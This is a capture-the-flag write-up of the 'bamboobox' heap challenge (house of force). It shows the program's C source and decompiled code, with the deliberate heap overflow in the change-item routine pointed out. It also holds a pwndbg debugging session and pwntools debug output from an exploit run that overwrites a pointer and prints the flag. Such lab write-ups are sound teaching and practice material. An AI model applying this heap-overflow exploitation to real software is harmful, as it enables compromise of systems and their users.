voidmenu() { puts("----------------------------"); puts("Bamboobox Menu"); puts("----------------------------"); puts("1.show the items in the box"); puts("2.add a new item"); puts("3.change the item in the box"); puts("4.remove the item in the box"); puts("5.exit"); puts("----------------------------"); printf("Your choice:"); }
voidshow_item() { int i; if (!num) { puts("No item in the box"); } else { for (i = 0; i < 100; i++) { if (itemlist[i].name) { printf("%d : %s", i, itemlist[i].name); } } puts(""); } }
intadd_item() {
char sizebuf[8]; int length; int i; int size; if (num < 100) { printf("Please enter the length of item name:"); read(0, sizebuf, 8); length = atoi(sizebuf); if (length == 0) { puts("invaild length"); return0; } for (i = 0; i < 100; i++) { if (!itemlist[i].name) { itemlist[i].size = length; itemlist[i].name = (char *)malloc(length); printf("Please enter the name of item:"); size = read(0, itemlist[i].name, length); itemlist[i].name[size] = '\x00'; num++; break; } }
} else { puts("the box is full"); } return0; }
voidchange_item() {
char indexbuf[8]; char lengthbuf[8]; int length; int index; int readsize;
if (!num) { puts("No item in the box"); } else { printf("Please enter the index of item:"); read(0, indexbuf, 8); index = atoi(indexbuf); if (itemlist[index].name) { printf("Please enter the length of item name:"); read(0, lengthbuf, 8); length = atoi(lengthbuf); printf("Please enter the new name of the item:"); readsize = read(0, itemlist[index].name, length); *(itemlist[index].name + readsize) = '\x00'; } else { puts("invaild index"); } } } voidremove_item() { char indexbuf[8]; int index;
if (!num) { puts("No item in the box"); } else { printf("Please enter the index of item:"); read(0, indexbuf, 8); index = atoi(indexbuf); if (itemlist[index].name) { free(itemlist[index].name); itemlist[index].name = 0; itemlist[index].size = 0; puts("remove successful!!"); num--; } else { puts("invaild index"); } } }
void __cdecl menu() { puts("----------------------------"); puts("Bamboobox Menu"); puts("----------------------------"); puts("1.show the items in the box"); puts("2.add a new item"); puts("3.change the item in the box"); puts("4.remove the item in the box"); puts("5.exit"); puts("----------------------------"); printf("Your choice:"); }
这是一个程序的菜单函数,没有什么特别的。
show_item
1 2 3 4 5 6 7 8 9 10 11 12 13
intshow_item() { int i; // [rsp+Ch] [rbp-4h]
if ( !num ) returnputs("No item in the box"); for ( i = 0; i <= 99; ++i ) { if ( itemlist[i].content ) printf("%d : %s", (unsignedint)i, itemlist[i].content); //老老实实打印堆块的内容 } returnputs(byte_401089); }
v5 = __readfsqword(0x28u); if ( num ) { printf("Please enter the index of item:"); read(0, buf, 8uLL); v1 = atoi(buf); if ( itemlist[v1].content ) { printf("Please enter the length of item name:"); read(0, nptr, 8uLL); v2 = atoi(nptr); printf("Please enter the new name of the item:"); itemlist[v1].content[(int)read(0, itemlist[v1].content, v2)] = 0;// //存在堆溢出,输出长度由我们自己决定 } else { puts("invaild index"); } } else { puts("No item in the box"); } return __readfsqword(0x28u) ^ v5; }
giantbranch@ubuntu:/mnt/hgfs/PWN题/Range/ctfshow/ctf-pwn-challenges/heap/house-of-force/hitcontrani ng_lab11$ gdb bamboobox GNU gdb(Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1 Copyright(C) 2016 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... pwndbg: loaded 175 commands. Type pwndbg [filter] for a list. pwndbg: created $rebase, $ida gdb functions(can be used with print/break) Reading symbols from bamboobox...(no debugging symbols found)...done. pwndbg> r Starting program: /mnt/hgfs/PWN题/Range/ctfshow/ctf-pwn-challenges/heap/house-of-force/hitcontraning_lab11/bamboobox There is a box with magic what do you want to do in the box ---------------------------- Bamboobox Menu ---------------------------- 1.show the items in the box 2.add a new item 3.change the item in the box 4.remove the item in the box 5.exit ---------------------------- Your choice:2 Please enter the length of item name:10 Please enter the name of item:aaaaa ---------------------------- Bamboobox Menu ---------------------------- 1.show the items in the box 2.add a new item 3.change the item in the box 4.remove the item in the box 5.exit ---------------------------- Your choice:2 Please enter the length of item name:20 Please enter the name of item:bbbbb ---------------------------- Bamboobox Menu ---------------------------- 1.show the items in the box 2.add a new item 3.change the item in the box 4.remove the item in the box 5.exit ---------------------------- Your choice:^C Program received signal SIGINT, Interrupt. 0x00007ffff7b04360 in __read_nocancel() at ../sysdeps/unix/syscall-template.S:84 84 ../sysdeps/unix/syscall-template.S: No such file or directory. LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ───────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────── RAX 0xfffffffffffffe00 RBX 0x0 RCX 0x7ffff7b04360(__read_nocancel+7) ◂— cmp rax, -0xfff RDX 0x8 RDI 0x0 RSI 0x7fffffffdc40 —▸ 0x7fffffff0a32 ◂— 0x0 R8 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R9 0xc R10 0x0 R11 0x246 R12 0x4007a0(_start) ◂— xor ebp, ebp R13 0x7fffffffdd30 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x7fffffffdc50 —▸ 0x400ee0(__libc_csu_init) ◂— push r15 RSP 0x7fffffffdc28 —▸ 0x400e5d(main+166) ◂— lea rax, [rbp - 0x10] RIP 0x7ffff7b04360(__read_nocancel+7) ◂— cmp rax, -0xfff ────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────── ► 0x7ffff7b04360 <__read_nocancel+7> cmp rax, -0xfff 0x7ffff7b04366 <__read_nocancel+13> jae read+73 <0x7ffff7b04399> ↓ 0x7ffff7b04399 <read+73> mov rcx, qword ptr [rip + 0x2ccad8] 0x7ffff7b043a0 <read+80> neg eax 0x7ffff7b043a2 <read+82> mov dword ptr fs:[rcx], eax 0x7ffff7b043a5 <read+85> or rax, 0xffffffffffffffff 0x7ffff7b043a9 <read+89> ret
.bss:00000000006020C0 public itemlist .bss:00000000006020C0 ; item itemlist[100] .bss:00000000006020C0 itemlist item 64h dup(<?>) ; DATA XREF: add_item+A4↑o .bss:0000000000602700 public num .bss:0000000000602700 ; int num .bss:0000000000602700 num dd ? ; DATA XREF: show_item+8↑r
➜ ~ cd Desktop/ '5.exit\n' '----------------------------\n' 'Your choice:' [DEBUG] Sent 0x5 bytes: 'bbbb\n' [DEBUG] Sent 0x2 bytes: '2\n' [DEBUG] Received 0x117 bytes: 'invaild choice!!!\n' '----------------------------\n' 'Bamboobox Menu\n' '----------------------------\n' '1.show the items in the box\n' '2.add a new item\n' '3.change the item in the box\n' '4.remove the item in the box\n' '5.exit\n' '----------------------------\n' 'Your choice:Please enter the length of item name:' [DEBUG] Sent 0x3 bytes: '16\n' [DEBUG] Received 0x1e bytes: 'Please enter the name of item:' [DEBUG] Sent 0x11 bytes: 00000000490d 400000000000490d 400000000000 │I·@·│····│I·@·│····│ 000000100a │·│ 00000011 [DEBUG] Received 0x1d2 bytes: '----------------------------\n' 'Bamboobox Menu\n' '----------------------------\n' '1.show the items in the box\n' '2.add a new item\n' '3.change the item in the box\n' '4.remove the item in the box\n' '5.exit\n' '----------------------------\n' 'Your choice:invaild choice!!!\n' '----------------------------\n' 'Bamboobox Menu\n' '----------------------------\n' '1.show the items in the box\n' '2.add a new item\n' '3.change the item in the box\n' '4.remove the item in the box\n' '5.exit\n' '----------------------------\n' 'Your choice:' [DEBUG] Sent 0x2 bytes: '5\n' [*] Switching to interactive mode ---------------------------- Bamboobox Menu ---------------------------- 1.show the items in the box 2.add a new item 3.change the item in the box 4.remove the item in the box 5.exit ---------------------------- Your choice:invaild choice!!! ---------------------------- Bamboobox Menu ---------------------------- 1.show the items in the box 2.add a new item 3.change the item in the box 4.remove the item in the box 5.exit ---------------------------- Your choice:[*] Process './bamboobox' stopped with exit code 0 (pid 29277) [DEBUG] Received 0x15 bytes: 'flag{house_of_force}\n' flag{house_of_force} [*] Got EOF while reading in interactive $